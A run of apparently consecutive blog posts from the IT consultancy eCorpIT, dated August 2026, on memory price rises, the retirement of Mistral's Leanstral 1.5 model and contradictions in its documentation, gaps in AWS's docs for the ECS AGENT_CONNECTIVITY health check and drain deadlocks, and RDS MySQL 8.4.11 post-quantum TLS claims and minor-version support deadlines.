For teams weighing local hosting against imported hardware, the India data centre capacity picture for AI workloads is now a procurement question as much as a latency one.

What is still unknown

Three things are not settled and should not be presented as though they were.

The exact premium on non-LTA server DRAM is not published. TrendForce states the direction and the blended band; it does not break out the two populations. Anyone quoting a specific non-LTA percentage is inventing it.

The 2027 supply figure is preliminary. TrendForce describes the 15-20% RDIMM bit supply growth as an initial estimate built from suppliers' early guidance, and supplier guidance for a year out revises.

Whether cloud providers pass memory costs into instance pricing, and when, has not been announced by AWS, Microsoft or Google. Amazon's capex went up; its published EC2 rate card is a separate decision. Watch savings plan coverage targets rather than waiting for a price-change announcement.

FAQ

How much did server DRAM contract prices rise in 3Q26?

TrendForce forecast a rise of 13-18% quarter-over-quarter for server DRAM contract prices in the third quarter of 2026, published on 9 July 2026. The same survey warned that suppliers might revise quotations upward again within the quarter because the market remained undersupplied throughout that period.

Why does a long-term agreement change what a buyer pays?

Several U.S.-based cloud service providers signed multi-year long-term agreements that restrict suppliers from raising prices for those clients. TrendForce says that from the third quarter of 2026 the increase therefore shifts toward customers without such agreements, and toward incremental volume sold outside an agreement to existing agreement holders.

Is the 13-18% figure what a mid-sized buyer will be quoted?

No. It is a blended forecast across a market where part of the volume is contractually frozen. TrendForce does not publish a separate figure for buyers without agreements, so any specific non-agreement percentage is guesswork. Expect a quote above the published band and rebid it.

Which memory type is rising fastest in 2026?

SLC NAND. TrendForce forecast contract prices up 120-170% in the second half of 2026 compared with the first half, caused by MLC-to-SLC migration and demand from AI edge computing, networking equipment and automotive electronics. No major SLC supplier plans to add production capacity in the near term.

When will memory prices come back down?

They may not return to earlier levels. Jitesh Ubrani of IDC said shortages persist well into 2027 with some easing of prices beginning in 2028, but that the market is unlikely to return to the pricing seen in 2025. Samsung told investors tight supply lasts until at least 2028.

How much did Amazon raise device prices, and why?

Amazon raised first-party device prices by as much as 60% over the weekend of 21-24 August 2026, taking the base Echo Dot from $49.99 to $79.99. An Amazon spokeswoman cited significant increases in memory and storage component costs, and said the company adjusted pricing after absorbing those increases for as long as it could.

What should change in a hardware refresh plan right now?

Re-price the same total capacity using 32 GB and 64 GB modules rather than 96 GB or 128 GB, treat any quote older than one quarter as void, stagger endpoint refreshes across fiscal years, and compare reserved cloud capacity against owned hardware because provider pricing sits behind their supply agreements.

How much are Indian laptop prices affected?

Bharath Shenoy of IDC India told Moneycontrol in March 2026 that DDR RAM prices had risen roughly 2.5 to 3 times, lifting laptop and desktop prices 10-12% by then with further increases expected. Entry-level machines previously sold at Rs 30,000 to Rs 35,000 were moving toward Rs 45,000.

How eCorpIT can help

eCorpIT is a CMMI Level 5 and ISO 27001:2022 certified engineering organisation in Gurugram, and our senior engineering teams do capacity and cost work alongside build work. If a 2026 hardware refresh or a cloud commitment renewal is now sitting in front of you with a number that moved since the last board pack, we can rebuild the arithmetic against dated component forecasts rather than last year's assumptions. Ask us to review your infrastructure cost plan and we will tell you which line items the memory market actually touches.

References

AI Server Demand Continues to Support Memory Prices in 3Q26, but Gains Moderate as Consumer Demand Weakens and High Base Effects Take Hold, TrendForce, 3 July 2026.
Long-Term Agreements Cap Price Increases; Server DRAM Contract Prices Expected to Rise 13-18% QoQ in 3Q26, TrendForce, 9 July 2026.
Niche Demand and MLC Migration to Drive SLC NAND Prices up 120-170% in 2H26, TrendForce, 13 July 2026.
Apple's Across-the-Board Price Increases Add Uncertainty to Consumer Demand; Global Notebook Shipments Forecast to Decline 13.6% in 2026, TrendForce, 1 July 2026.
Exclusive: Amazon quietly hiked prices on Echo, Fire TV, Kindle, and eero overnight to offset significant increases in memory costs, Fortune, 21 August 2026.
Amazon hikes hardware prices by 60 percent, blaming memory shortage, TechCrunch, 24 August 2026.
Amazon devices are the latest casualties of the memory shortage price hikes, Engadget, 22 August 2026.
Samsung expects memory shortage to worsen through 2027 and last until 2028, TechCrunch, 31 July 2026.
RAMaggedon not expected to ease this year as IDC cuts 2026 PC market forecast again, Engadget, 12 March 2026.
Laptop prices in India could rise by up to 35% in 2026, 91mobiles, 12 March 2026.

Last updated: 25 August 2026.

Mistral's Leanstral 1.5 retires 30 September and its own docs disagree on the stage

Manu Shukla — Tue, 25 Aug 2026 02:45:45 +0000

Mistral's Leanstral 1.5 retires 30 September and its own docs disagree on the stage

Summary. Mistral's changelog announced Leanstral 1.5's release and its 30 September 2026 retirement in the same sentence, giving the free Lean 4 proof model a 92-day API life. Thirty-six days out, Mistral's model card still badges it Public Preview, the pricing page files it under Labs, and the models index has not moved it to Deprecated. Because the stage label decides whether training-data opt-out applies, and because no third-party inference provider serves the weights, the only migration path is self-hosting.

Mistral's changelog entry for 30 June 2026 does two things in one sentence. It announces the release of Leanstral 1.5, the company's Lean 4 formal-proof engineering model, under the API identifier labs-leanstral-1-5. And it states that the model "will be retired on September 30, 2026."

That is 92 days of API life, announced up front. As of today, 25 August 2026, 36 days remain.

The retirement is not the interesting part. What matters is that outside the changelog you will not find it. The model card carries no deprecation notice, the models index still lists Leanstral 1.5 as current, and the pricing page still sells it. The three surfaces do not even agree on which lifecycle stage the model occupies, and that stage determines whether your proof corpus can be kept out of training data.

Four Mistral pages, three different answers

Mistral publishes a model lifecycle policy with five stages: Labs, Public Preview, General Availability, Deprecated and Retired. Deprecated is defined precisely as "Retirement announced. Still accessible until the retirement date."

Leanstral 1.5's retirement has been announced. By Mistral's own definition it is Deprecated. Here is what each Mistral surface actually says instead.

Mistral surface	What it says about Leanstral 1.5
Changelog, 30 June 2026 entry	Released as `labs-leanstral-1-5`, "retired on September 30, 2026"
Model card, docs.mistral.ai	Badged Public Preview, Apache 2.0, Price: Free, no retirement notice
Pricing page	Listed under Labs, "Research previews and experimental releases", Free input, cached and output
Models index, All models	Under "Other specialist models" as a live v1.5; absent from the Deprecated and retired table

That is four rows and three distinct stage claims. The Deprecated and retired table on the models index does contain a Leanstral entry, but it is the predecessor: version 26.03, API identifier labs-leanstral-2603. The model with a published death date is the one missing from the table.

The Labs documentation sharpens the contradiction rather than resolving it. It states that "Labs are identified by the Labs tag in the model card and the labs- prefix in the model name identifier." Leanstral 1.5 has the prefix. Its model card shows a Public Preview tag instead. By Mistral's own identification rule, the card fails the test the docs set for it.

Why the stage label is not a cosmetic problem

The lifecycle policy attaches different obligations to each stage, and two of them are commercially material.

Data collection. Labs models, per the policy, "don't support data collection opt-out." Public Preview carries no such restriction. Leanstral 1.5 is a code agent that the release blog demonstrates operating "in a raw filesystem", editing files, running bash commands and working through a repository across millions of tokens. If you point it at a private repository, whether that source and the proofs it generates can be excluded from training turns entirely on which stage governs. The Hugging Face card settles it in practice: to use the model at all you must "opt into 'Enable Labs models'" in the Mistral admin console, on a page under the privacy settings path. Operationally it is a Labs model. The docs model card does not mention that toggle.

Price. Labs models are "free of charge". Public Preview models are "priced at the same rate as General Availability models". The model card says Price: Free, which is the Labs behaviour, not the Public Preview behaviour. If the Public Preview badge were the accurate one, the model should be billed.

Silent updates. Both stages permit them. The weights behind the endpoint can change without notice, and because Public Preview models are not eligible for -latest or -major aliases, there is no pinned General Availability version to fall back to.

The identifier in the blog does not match the one in the docs

The release blog, dated 2 July 2026, closes its Get Started section by saying the model is available "as a free API endpoint" as leanstral-1-5. The changelog, the pricing page and the model card all use labs-leanstral-1-5. The lifecycle policy states that Labs models are always prefixed labs-.

A developer copying the identifier out of the blog gets the wrong string. The policy is explicit about what happens to a wrong or retired identifier: requests "fail with a 404 error".

The blog and the docs also disagree on the parameter count. The blog says "119B total and only 6B active parameters"; the docs model card and the Hugging Face card both say 6.5B activated per token. The blog contradicts itself on the FATE results too, calling them "%87 on FATE-H and 34% on FATE-X" and then, two paragraphs later, "solving 87 and 34 problems respectively". Percentages and problem counts are not the same claim. The blog is also dated two days after the docs: 2 July against 30 June.

What retirement actually costs you

Leanstral 1.5 is Apache 2.0 and the weights are on Hugging Face, so 30 September kills the endpoint, not the model. That sounds reassuring until you check who else is serving it.

The Hugging Face card for mistralai/Leanstral-1.5-119B-A6B reports: "This model isn't deployed by any Inference Provider." The predecessor mistralai/Leanstral-2603 reports the same. There is no drop-in hosted alternative to migrate to. Downloads last month were 231 for 1.5 and 76 for the predecessor, which is not the adoption curve that attracts a third-party host.

So the migration is not "switch models". It is "stand up your own inference". The Hugging Face card gives the shape of that job.

Self-hosting requirement	Value from the Hugging Face card
Serving stack	vLLM 0.24.0 or newer, with `mistral_common` 1.11.5 or newer
Parallelism	`--tensor-parallel-size 4`
Attention backend	`FLASH_ATTN_MLA`
Served context	`--max-model-len 200000`
Architecture	MoE, 128 experts, 4 active per token; 119B parameters, 6.5B activated

That is five rows, and each one is a line item in a capacity plan. Four-way tensor parallelism on a 119B mixture-of-experts model is not something a proof-engineering team stands up in the last week of September.

One thing did improve between versions. The predecessor's card required a vLLM nightly build and listed transformers and SGLang support as work in progress. The 1.5 card requires a numbered stable release. Self-hosting got more tractable, which is fortunate, because it is now the only path.

Context window: three numbers on one page

The docs model card advertises 256k context and 128k max output. The Hugging Face card advertises 256k in Key Features, then recommends "≤ 200k tokens" under Recommended Settings, then ships a vLLM command that serves 200,000, then ships a Mistral Vibe agent config with auto_compact_threshold = 168000.

This matters here more than usual. The blog's headline result is test-time scaling: PutnamBench solve counts climb from 44 problems at a 50k token budget to 244 at 200k, 493 at 1M and 587 at 4M. The published 587/672 figure is a 4M-token-per-attempt result. Self-host at the recommended 200k ceiling and you sit at the point on that curve where the model solved 244.

Who this hits, and how to tell if it is you

You are exposed if any of the following is true.

Your code, CI or agent configuration contains labs-leanstral-1-5 or leanstral-1-5. Grep for both; the blog taught one identifier and the docs taught the other.
You installed Leanstral through Mistral Vibe with /leanstall and run vibe --agent lean. That path defaults to the hosted endpoint.
You have "Enable Labs models" switched on in your Mistral organisation privacy settings.
You budgeted a formal-verification workstream around a zero-cost inference line. The blog's roughly $4 per PutnamBench problem, against an estimated $300 or more for Seed-Prover 1.5 at its high setting, was measured on an endpoint that will not exist in October.

What to do before 30 September

Pin the weights now. Pull mistralai/Leanstral-1.5-119B-A6B from Hugging Face while the release is current. Apache 2.0 means you may keep and serve it; nothing about the API retirement changes the licence.
Decide hosted or self-hosted this month, not next. With no inference provider serving the model, the realistic options are your own vLLM deployment or a different prover entirely.
Re-baseline your benchmarks at your real token budget. The headline numbers assume budgets most self-hosted deployments will not fund.
Audit the Labs toggle. If "Enable Labs models" is on for the training-data reasons the policy describes, decide whether it should stay on once Leanstral is gone.
Track the changelog, not the model card. In this case the changelog was the only surface that carried the date.

What is still unknown

Mistral has not published a successor, yet the deprecation policy says deprecation "is announced as soon as a replacement model is available". No replacement appears in the models index. Whether the card gains a deprecation banner before 30 September, which of the two stage labels gets corrected, and whether the free endpoint is extended are all open. Nothing in the published policy commits Mistral to more than the 1 month notice both Labs and Public Preview carry, and that notice has already been exceeded.

FAQ

When exactly does Leanstral 1.5 stop working?

Mistral's changelog entry dated 30 June 2026 states the model will be retired on 30 September 2026. The lifecycle policy adds that once a model is retired, requests to its identifiers fail with a 404 error. The model remains accessible until that date.

Is leanstral-1-5 or labs-leanstral-1-5 the correct identifier?

The changelog, the pricing page and the docs model card all use labs-leanstral-1-5. Only the release blog uses the bare leanstral-1-5. The lifecycle policy states Labs models are always prefixed labs-, so the prefixed form is the one to trust.

Can I keep using the model after retirement?

Yes, but only by hosting it yourself. The weights are Apache 2.0 licensed on Hugging Face and the licence is unaffected by the API retirement. Hugging Face currently reports that no inference provider deploys the model, so there is no hosted alternative.

Does the Public Preview badge mean my data is safe from training?

That is exactly what the conflict leaves unresolved. Mistral's policy says Labs models do not support data collection opt-out, while Public Preview carries no such restriction. The Hugging Face card requires enabling Labs models in privacy settings, which points to the stricter reading.

How much hardware does self-hosting need?

The Hugging Face card's reference command serves the model with vLLM 0.24.0 or newer at --tensor-parallel-size 4 and a 200,000 token context, using the FLASH_ATTN_MLA attention backend. The architecture is a 119B parameter mixture of experts with 6.5B parameters activated per token.

If your team is weighing a self-hosted inference deployment against dropping a model that is about to lose its endpoint, that is an architecture decision with a hardware bill attached, and eCorpIT's AI engineering team works on exactly this class of migration. Related reading on Mistral's platform commitments: our analysis of Mistral's agentic search residency and ZDR gap and of Mistral on Azure for regulated enterprises.

References

Mistral AI, Changelog, 30 June 2026 entry announcing labs-leanstral-1-5 and its 30 September 2026 retirement.
Mistral AI, Leanstral 1.5 model card, showing the Public Preview badge, Apache 2.0 licence and Free price.
Mistral AI, Model lifecycle policy, defining the five stages, notice periods and 404 behaviour after retirement.
Mistral AI, Labs, stating the Labs tag and labs- prefix identification rule and the one month removal notice.
Mistral AI, Pricing, listing Leanstral 1.5 in the Labs section at Free for input, cached input and output.
Mistral AI, Models Overview, listing Leanstral 1.5 under Other specialist models and labs-leanstral-2603 in the deprecated and retired table.
Mistral AI, Leanstral 1.5: Proof Abundance for All, 2 July 2026, the release blog with benchmarks, cost comparisons and the leanstral-1-5 identifier.
Hugging Face, mistralai/Leanstral-1.5-119B-A6B, the weights repository with architecture details, vLLM serving command and inference provider status.
Hugging Face, mistralai/Leanstral-2603, the predecessor's card showing the nightly vLLM requirement and provider status.
vLLM, Release v0.24.0, the numbered release that the Leanstral 1.5 card sets as its serving floor.

Last updated 25 August 2026. Retirement dates, model card badges and pricing classifications were verified against Mistral's published documentation on that date and can change without notice.

ECS AGENT_CONNECTIVITY auto-repair 2026: one enum, two AWS docs, no published threshold

Manu Shukla — Tue, 25 Aug 2026 01:44:50 +0000

ECS AGENT_CONNECTIVITY auto-repair 2026: one enum, two AWS docs, no published threshold

Summary. Amazon ECS now monitors whether the container agent is still in contact with the ECS control plane and marks the instance impaired when it is not. The health check type is called AGENT_CONNECTIVITY, and as of 25 August 2026 it is documented inconsistently across four AWS pages. The AWS CLI 2.36.30 command reference lists four possible values for the container-instance health check type field, and the ECS API Reference page for InstanceHealthCheckResult lists three. AGENT_CONNECTIVITY is the one that is missing from the second list. The developer guide page that documents container instance health also lists three types, still cites agent version 1.57.0 and AWS CLI 1.22.3 or 2.3.6 as the floor, and still shows a sample payload timestamped 2021-11-10T03:30:26+00:00. The one number that decides whether your instance gets drained, the disconnection threshold, appears on none of those pages.

That gap matters more than it sounds. AWS's own 2023 Containers blog states that the ECS agent "disconnects and reconnects several times per hour" as normal behaviour, and the reference solution in that post routes every disconnect event through an Amazon SQS delay queue precisely to avoid acting on transient drops. The new capability acts on the same signal without telling you how long it waits.

What changed, and where it is written down

Four pages in the ECS documentation set now describe overlapping pieces of the same feature, and they do not say the same thing.

The container instance health change events page is the only page that describes the new behaviour in prose. It says Amazon ECS "continuously monitors the connectivity between the container agent and the Amazon ECS control plane" and that "when a container instance remains disconnected beyond a threshold, Amazon ECS marks the instance as impaired." The page carries a sample EventBridge payload with "type": "AGENT_CONNECTIVITY", "status": "IMPAIRED", a statusReason of Agent disconnected since 2026-07-29T22:34:13Z, and an overallStatus of IMPAIRED.

The container instance health monitoring page enumerates the health check types you can expect back from describe-container-instances. It lists CONTAINER_RUNTIME, ACCELERATED_COMPUTE and DAEMON. It does not list AGENT_CONNECTIVITY. Its remediation advice, unchanged, is to wait and re-run describe-container-instances, check the EC2 console, review CloudWatch metrics and check the AWS Health Dashboard. Draining and replacement are not mentioned.

Health check `type`	AWS CLI 2.36.30 reference	ECS API Reference and developer guide
`CONTAINER_RUNTIME`	Listed	Listed
`ACCELERATED_COMPUTE`	Listed	Listed
`DAEMON`	Listed	Listed
`AGENT_CONNECTIVITY`	Listed	Absent
`overallStatus` values	OK, IMPAIRED, INSUFFICIENT_DATA, INITIALIZING	OK, IMPAIRED, INSUFFICIENT_DATA, INITIALIZING

The CLI reference is published per CLI version, 2.36.30 at the time of writing, and already carries the fourth value. The API Reference page and the developer guide page do not. When two AWS references for the same field disagree, the safe assumption is that the service can return the wider set.

The consequence for typed SDKs

The API Reference documents InstanceHealthCheckResult.type as a string with an enumerated set of valid values, and strongly typed SDKs generate constants from that set. If your Java, Kotlin, Go or .NET client was generated from a model that predates the fourth value, a returned AGENT_CONNECTIVITY will not match any generated constant. Any exhaustive switch over health check types falls through to its default branch. Code that treats an unrecognised type as "no problem" stops paging without telling you.

This is the part worth checking before the next on-call rotation, not after. Regenerate or upgrade the SDK, then grep for every place your code compares a health check type against a literal string or an enum constant.

Fargate is listed for the check and excluded from the summary event

The events page gives an availability line under each scenario. Read them together and a gap opens.

Event scenario	Launch types listed	Fargate covered
Container runtime health change	EC2	No
Accelerated compute device health change	ECS Managed Instances	No
Daemon health change	ECS Managed Instances	No
Agent connectivity loss	ECS Managed Instances, AWS Fargate, Amazon EC2	Yes
Overall health status change	ECS Managed Instances and EC2	No

So on Fargate you can receive an AGENT_CONNECTIVITY health change event, and you cannot receive the overall-status-change event that AWS describes as the aggregate view. If your EventBridge rule matches on the overall status transition rather than on the individual health check, your Fargate tasks are outside the rule.

There is a second problem underneath that one. Everything else about this feature is expressed through container instances. DescribeContainerInstances accepts only TAGS and CONTAINER_INSTANCE_HEALTH in its include parameter, and its response model is built around ec2InstanceId, agentConnected and versionInfo.agentVersion. The AWS CLI reference describes the object it returns as "an Amazon EC2 or External instance that's running the Amazon ECS agent and has been registered with a cluster." Fargate tasks do not register container instances. There is no documented API call that shows you Fargate agent-connectivity health at all, only an event you have to catch in flight.

What actually breaks: draining that cannot finish

The auto-repair path is drain, replace, terminate. AWS documents that shape on the daemon auto repair page: ECS marks the instance draining, provisions a replacement, waits for health, moves the application tasks, then terminates the original. That is a good design. It also inherits every constraint on the container instance draining page, and two of them bite hard.

First, the deadlock. If a service has minimumHealthyPercent and maximumPercent both set to 100 percent, AWS states plainly that "the service can't remove existing tasks, and also cannot start replacement tasks. This prevents successful container instance draining and prevents making new deployments." A drain triggered by a transient agent disconnect on such a service does not complete. It sits.

Second, the clock. For ECS Managed Instances, draining runs a two-phase termination. Phase one is graceful. Phase two enforces a hard deadline "typically set to draining initiation time plus seven days," after which ECS force-deregisters and kills every remaining task regardless of completion status. Seven days of a stuck drain is seven days of an instance that accepts no new tasks and never leaves.

Third, and only for teams on Spot: the same page warns that if you use Spot Instances with minimumHealthyPercent at or above 100 percent, "the service will not have enough time to replace the task before the Spot Instance terminates."

The real risk here is not the feature. It is a correct feature firing on a signal AWS itself calls routine, into a deployment configuration that cannot drain.

Who is affected, and how to tell in ten minutes

Run three checks.

Check the deployment configuration on every ECS service, because that is where the deadlock lives:

aws ecs list-services --cluster your-cluster --query 'serviceArns' --output text \
  | xargs -n10 aws ecs describe-services --cluster your-cluster --services \
  | grep -A3 deploymentConfiguration

Any service with minimumHealthyPercent of 100 and maximumPercent of 100 is a candidate for a drain that never finishes.

Check the agent version floor. The developer guide still names 1.57.0 as the minimum for automated container instance checks, and the agent update page notes that agent updates do not apply to Windows container instances at all, so Windows clusters need new instances rather than an in-place update. The ECS EC2 container instances page confirms that Docker support is currently limited to the last two major versions published on Amazon Linux, 20.10.x and 25.x.

Check your EventBridge rules. If they filter on detail.overallStatus, add a branch that matches detail.healthChecks[].type equal to AGENT_CONNECTIVITY, because the overall-status event is not emitted for Fargate.

What to do this week

Set the deployment configuration first. Moving maximumPercent to 200 on services that can tolerate double capacity briefly removes the deadlock condition entirely, and it is a one-field change.

Keep a manual escape hatch. The Managed Instances troubleshooting guide still tells operators to restart the agent with nsenter -t 1 -m -p systemctl restart ecs or to force-deregister the instance with deregister-container-instance --force. Neither instruction mentions automatic repair. Both still work, and you will want them the first time an auto-drain stalls.

Do not build alerting on raw disconnect events. AWS solutions authors Henrique Santana and Pablo Di Sabato wrote in the AWS Containers blog that "as a part of its normal operation the Amazon ECS Agent disconnects and reconnects several times per hour," and their reference architecture inserts an SQS delay queue for exactly that reason. If you page on every AGENT_CONNECTIVITY transition to IMPAIRED, you will page on noise.

Cost matters here too, because auto-repair replaces instances and replacement instances carry the ECS management fee. AWS cut G-series ECS Managed Instances management fees by 35 percent and P-series and AWS Trainium fees by 60 percent effective 1 July 2026, applied automatically with no customer action. If you are sizing the blast radius of a replacement loop on accelerated capacity, use the current rates, not last quarter's. The same reasoning applies to the ECS Managed Instances GPU fee cut and to how you model automated node replacement on EKS, where the drain-and-replace pattern is older and better documented.

India-specific considerations

Cluster headroom decides whether any of this hurts. A service pinned at minimumHealthyPercent 100 on a three-instance cluster has nowhere to place replacement tasks, and the smaller the cluster the sooner that bites. Teams running ECS out of ap-south-1 or ap-south-2 on a single small capacity provider should confirm spare capacity before enabling anything that drains automatically.

Teams handling personal data under the Digital Personal Data Protection Act 2023 should also note that automatic instance replacement destroys local instance state, including agent logs at /var/log/ecs/ecs-agent.log. If your incident evidence lives on the instance, ship it off the box before auto-repair takes the box away. Centralising CloudWatch log groups is the straightforward answer.

What is still unknown

Three things, all of which AWS could settle with one sentence each.

The threshold. The events page says "beyond a threshold" and gives no duration. Until AWS publishes it, you cannot calculate how long a network partition has to last before your instance is condemned.

Whether the auto-repair applies to EC2 launch type as well as Managed Instances. The daemon auto-repair page sits inside the Managed Instances section of the guide. The AGENT_CONNECTIVITY availability line names all three launch types. Those are different scopes.

Whether AGENT_CONNECTIVITY will be added to the API Reference enum or removed from the CLI model. Right now the two disagree, and the CLI is the one your code will meet in production.

FAQ

What is AGENT_CONNECTIVITY in Amazon ECS?

It is a container instance health check type that reports whether the ECS container agent is still in contact with the ECS control plane. When an instance stays disconnected past an unpublished threshold, Amazon ECS marks it impaired and emits an ECS Container Instance Health Change event on Amazon EventBridge.

Why do two AWS pages list different health check types?

The AWS CLI 2.36.30 command reference is generated from the live ECS service model and lists four values including AGENT_CONNECTIVITY. The ECS API Reference page for InstanceHealthCheckResult and the container instance health developer guide page are hand maintained and still list only three. Trust the CLI reference.

Does this work on AWS Fargate?

Partly. The events page lists ECS Managed Instances, AWS Fargate and Amazon EC2 for the agent connectivity scenario. It lists only ECS Managed Instances and EC2 for the overall health status change event. There is also no documented API call that returns Fargate agent connectivity health outside of the event itself.

What deployment setting can stop a drain from completing?

A service with both minimumHealthyPercent and maximumPercent set to 100 percent. AWS states that such a service cannot remove existing tasks and cannot start replacement tasks, which prevents container instance draining and blocks new deployments. Raising maximumPercent to 200 removes the deadlock condition.

How long does a stuck drain last on ECS Managed Instances?

The draining page describes a two-phase termination. Phase one is graceful completion. Phase two enforces a hard deadline typically set to draining initiation time plus seven days, after which ECS force-deregisters the instance and terminates all remaining tasks regardless of their completion status.

What agent version do I need?

The developer guide names container agent version 1.57.0 or later for automated container instance health checks, along with AWS CLI version 1.22.3 or later, or AWS CLI version 2.3.6 or later. Agent updates do not apply to Windows container instances, which need replacement rather than an in-place update.

Is a disconnected ECS agent always a problem?

No. AWS states in its Containers blog that the ECS agent disconnects and reconnects several times per hour during normal operation. That is why the AWS reference monitoring solution routes disconnect events through an Amazon SQS delay queue before alerting, so that transient reconnections never reach an operator.

What does instance replacement cost on accelerated capacity?

Replacement instances carry the ECS Managed Instances management fee. Effective 1 July 2026, AWS reduced G-series ECS management fees by 35 percent and P-series and AWS Trainium fees by 60 percent, applied automatically with no customer action required for workloads already running GPU instances on ECS Managed Instances.

How eCorpIT can help

eCorpIT runs container platform reviews for teams on Amazon ECS and Amazon EKS, covering deployment configuration, capacity headroom, EventBridge rule coverage and the SDK-level enum handling described above. Our AIOps and SRE incident automation practice builds the delay-and-confirm logic that stops transient agent disconnects becoming pages, and we compare build against buy for on-call tooling in our note on the AWS DevOps Agent on-call economics. eCorpIT is CMMI Level 5, MSME Certified and ISO 27001:2022 certified. To have your ECS deployment configuration audited against the drain deadlock, book a container platform review.

References

Monitor Amazon ECS container instance health, Amazon ECS Developer Guide, retrieved 25 August 2026.
Amazon ECS container instance health change events, Amazon ECS Developer Guide, retrieved 25 August 2026.
InstanceHealthCheckResult, Amazon ECS API Reference, retrieved 25 August 2026.
describe-container-instances, AWS CLI 2.36.30 Command Reference, retrieved 25 August 2026.
DescribeContainerInstances, Amazon ECS API Reference, retrieved 25 August 2026.
Daemon auto repair, Amazon ECS Developer Guide, retrieved 25 August 2026.
Draining Amazon ECS container instances, Amazon ECS Developer Guide, retrieved 25 August 2026.
Troubleshooting Amazon ECS Managed Instances, Amazon ECS Developer Guide, retrieved 25 August 2026.
Amazon ECS EC2 Container Instances, Amazon ECS Developer Guide, retrieved 25 August 2026.
Updating the Amazon ECS container agent, Amazon ECS Developer Guide, retrieved 25 August 2026.
Monitoring the Amazon ECS Agent, Henrique Santana and Pablo Di Sabato, AWS Containers blog, 13 January 2023, updated 15 May 2024.
Amazon ECS Managed Instances reduces GPU management fees by up to 60%, AWS What's New, 7 July 2026.

Last updated: 25 August 2026.

RDS MySQL 8.4.11 post-quantum TLS: the claim its release notes do not make

Manu Shukla — Tue, 25 Aug 2026 00:45:04 +0000

RDS MySQL 8.4.11 post-quantum TLS: the claim its release notes do not make

Summary. On 24 August 2026 AWS announced MySQL minor version 8.4.11 on Amazon RDS and led with a security headline: "MySQL 8.4.11 introduces support for post-quantum TLS (PQ-TLS) key exchange." The MySQL 8.4.11 community release notes, dated 28 July 2026, contain no such entry. Oracle's own engineering blog, published the same day, puts post-quantum key exchange in MySQL 26.7.0 and makes it conditional on OpenSSL 3.5. AWS documentation states that RDS for MySQL 8.4 and higher links AWS-LC, not OpenSSL. Two further details in the same announcement do not survive a check either: 8.4.11 is described as "the latest minor released by community MySQL" although 8.4.12 shipped on 18 August 2026, and the post says "starting today" while the RDS user guide records the RDS release date as 21 August 2026. The part that actually costs money is elsewhere in that guide: MySQL 8.4.5 and 8.4.6 reach RDS end of standard support on 31 October 2026, 67 days from today, and minor versions are not eligible for RDS Extended Support at any price. For comparison, MySQL 8.0 Extended Support in us-east-1 bills $0.085 per vCPU-hour in years one and two.

What the announcement says, and what each primary says

The gap is not a matter of emphasis. Three separate claims in a short post disagree with the sources those claims depend on.

Claim in the AWS post, 24 Aug 2026	What the primary source says	Where
"MySQL 8.4.11 introduces support for post-quantum TLS (PQ-TLS) key exchange"	The 8.4.11 release notes have sections for audit log, compilation, deprecation, InnoDB, JSON, programs, optimizer, packaging, performance schema, replication, X Plugin and bugs fixed. No security section, no PQC entry.	MySQL 8.4.11 release notes
Post-quantum key exchange is a property of 8.4.11	"Starting with MySQL 26.7.0, MySQL can use the PQC-capable TLS algorithms provided by OpenSSL 3.5 and later."	Oracle MySQL blog, 28 July 2026
8.4.11 is "the latest minor released by community MySQL"	The 8.4 release notes list Changes in MySQL 8.4.12, dated 18 August 2026, six days before the AWS post.	MySQL 8.4 release notes
"Starting today" (24 August 2026)	The RDS user guide gives 8.4.11 an RDS release date of 21 August 2026.	RDS for MySQL version management

The OpenSSL precondition RDS cannot meet as written

Oracle's post is specific about what the feature needs. Miroslav Rajcic, Senior Software Developer at Oracle, writes: "Starting with MySQL 26.7.0, MySQL can use the PQC-capable TLS algorithms provided by OpenSSL 3.5 and later." The deployment guidance that follows opens with a single instruction: confirm that MySQL is linked with OpenSSL 3.5 or later.

That instruction cannot be followed on RDS. The RDS documentation is unambiguous: "For MySQL version 8.0 and lower, Amazon RDS for MySQL uses OpenSSL for secure connections. For MySQL version 8.4 and higher, Amazon RDS for MySQL uses AWS-LC." AWS-LC does carry post-quantum algorithms of its own, and version 5.5.0 was tagged on 5 August 2026, so the cryptography exists in the library. What does not exist in any published document is a statement that AWS has wired MySQL's PQC code paths, which Oracle gated on OpenSSL 3.5 APIs and shipped in a different release train, onto AWS-LC in the RDS 8.4 build.

The observable surface is missing too. Oracle's feature is driven by server variables: force_pqc, use_pqc_sign and tls_kex, each with per-channel siblings such as admin_tls_kex and replication_force_pqc. It is inspected through SHOW SESSION STATUS LIKE 'Tls_key_exchange_algorithm' and through Force_pqc, Use_pqc_sign and Tls_kex columns in performance_schema.tls_channel_status. None of those names appear anywhere in the RDS SSL/TLS pages. The RDS page for MySQL TLS support is a short page whose only technical content is a four-column table of TLS 1.0 through TLS 1.3 support by major version. It records TLS 1.3 as supported on MySQL 8.4 and 8.0, which is a precondition for PQC key exchange, and it says nothing beyond that.

The honest reading: TLS 1.3 is available, so a post-quantum group could in principle be negotiated if the server build supports it. Whether the RDS 8.4.11 build does is undocumented in either direction. Treat the announcement's security headline as unverified until an RDS parameter or status variable exposes the negotiated key exchange group.

The deadline the announcement does not mention

The RDS user guide's minor-version table is the part of this release worth acting on. It sets an end of standard support date for every 8.4 minor, and the near dates are close.

MySQL engine version	RDS release date	RDS end of standard support
8.4.11	21 August 2026	21 August 2027
8.4.10	7 July 2026	7 July 2027
8.4.9	8 May 2026	8 May 2027
8.4.8	3 February 2026	3 February 2027
8.4.7	13 November 2025	30 November 2026
8.4.6	1 August 2025	31 October 2026
8.4.5	29 April 2025	31 October 2026

Counting the rows above: seven supported 8.4 minors, two of which expire on the same day. From 25 August 2026, 8.4.5 and 8.4.6 have 67 days of standard support left and 8.4.7 has 97.

The shape of the window changed at 8.4.8. Every minor from 8.4.8 onward gets exactly twelve months from its RDS release date. The three older minors were instead floored on shared calendar dates, which gave 8.4.5 roughly eighteen months and 8.4.6 roughly fifteen. Anyone who has been reading the 8.4 line as "about eighteen months per minor" is working from the retired shape. The current shape is twelve months, and it starts on the RDS release date, not the community one.

The lag between the two dates matters because it eats the front of that window. Across the seven minors in the table the gap between community release and RDS release runs from 10 days for 8.4.6 to 24 days for 8.4.11, and the last three are 17, 21 and 24 days. The trend is upward.

No Extended Support escape hatch at minor-version granularity

This is the point that separates a MySQL 8.4 minor deadline from the MySQL 8.0 major deadline most teams already know about. The version management guide states plainly: "Amazon RDS Extended Support isn't available for minor versions." The Amazon RDS for MySQL pricing FAQ tightens it from the other side: "No, you must be on the latest engine minor to receive RDS Extended Support on your database."

